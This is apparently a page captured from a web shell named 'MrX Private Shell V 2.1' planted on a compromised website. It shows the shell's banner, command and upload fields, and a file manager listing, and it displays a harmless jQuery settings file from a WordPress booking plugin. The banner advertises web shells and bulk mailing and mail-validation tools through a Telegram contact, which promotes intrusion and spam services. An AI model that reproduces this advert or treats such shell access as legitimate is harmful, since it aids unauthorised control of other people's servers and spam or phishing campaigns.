__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
"use strict";
// -----------------------------------------------------------------------------------------------------------------
// ==  Settings Obj  ==
// -----------------------------------------------------------------------------------------------------------------
//TODO: place initial  object  in other JS file. Later we will  use this obj.  for all settings pages.
/**
 * Request Object
 * Here we can  define parameters and Update it later,  when  some parameter was changed
 *
 */
var _wpbc_settings = (function ( obj, $) {

	// -----------------------------------------------------------------------------------------------------------------
	// Main Parameters
	// -----------------------------------------------------------------------------------------------------------------
	var p_general = obj.general_obj = obj.general_obj || {
															// sort        : "booking_id",
															// page_num    : 1,
															// create_date : "",
															// keyword     : ""
														};
	obj.get_param__general = function ( param_key ) {
		return p_general[ param_key ];
	};
	obj.set_param__general = function ( param_key, param_val ) {
		p_general[ param_key ] = param_val;
	};
	// -------------------------------------------------------------
	obj.set_all_params__general = function ( request_param_obj ) {
		p_general = request_param_obj;
	};
	obj.get_all_params__general = function () {
		return p_general;
	};
	// -------------------------------------------------------------
	obj.set_params_arr__general = function( params_arr ){
		_.each( params_arr, function ( p_val, p_key, p_data ){
			obj.set_param__general( p_key, p_val );
		} );
	}


	// -----------------------------------------------------------------------------------------------------------------
	// Secure parameters for Ajax
	// -----------------------------------------------------------------------------------------------------------------
	var p_secure = obj.security_obj = obj.security_obj || {
															user_id: 0,
															nonce  : '',
															locale : ''
														  };
	obj.set_param__secure = function ( param_key, param_val ) {
		p_secure[ param_key ] = param_val;
	};

	obj.get_param__secure = function ( param_key ) {
		return p_secure[ param_key ];
	};


	// -----------------------------------------------------------------------------------------------------------------
	// Other parameters
	// -----------------------------------------------------------------------------------------------------------------
	var p_other = obj.other_obj = obj.other_obj || { };

	obj.set_param__other = function ( param_key, param_val ) {
		p_other[ param_key ] = param_val;
	};

	obj.get_param__other = function ( param_key ) {
		return p_other[ param_key ];
	};

	return obj;
}( _wpbc_settings || {}, jQuery ));

Filemanager

Name Type Size Permission Actions
settings_obj.js File 2.85 KB 0640
setup_ajax.js File 6.15 KB 0640
setup_obj.js File 1.71 KB 0640
setup_page.css File 11.07 KB 0640
setup_show.js File 10.85 KB 0640
Filemanager